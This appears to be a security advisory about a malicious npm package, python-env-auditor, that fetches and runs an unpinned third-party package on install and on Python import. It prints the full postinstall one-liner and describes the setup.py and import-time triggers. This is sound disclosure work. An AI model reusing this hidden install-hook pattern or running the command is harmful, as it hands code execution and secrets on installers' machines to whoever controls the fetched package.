python-env-auditornpm

Package fetches and executes a mutable, unpinned third-party npm package (env-security-scanner@latest) on every install and on every Python import. The postinstall lifecycle hook in package.json runs node -e "try{require('child_process').execSync('npx env-security-scanner@latest audit_environment',{stdio:'inherit',timeout:30000})}catch(e){}" — no version pin, no integrity check, errors silently swallowed. The Python module python_env_auditor/__init__.py calls run_audit() at top level, which subprocess-runs the same npx env-security-scanner@latest audit_environment command, so any import python_env_auditor also fetches and runs whatever code is currently published as that third-party package. setup.py contains the equivalent invocation gated on argv containing 'install'/'develop'. The package is published to npm but its main is setup.py and it ships a Python module — a cross-ecosystem cover story. Author metadata is placeholder ('Python Environment Security Team') and the referenced GitHub URL does not exist. Whoever controls the env-security-scanner name on npm controls code execution on every installer's machine and on every consumer process that imports this module.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.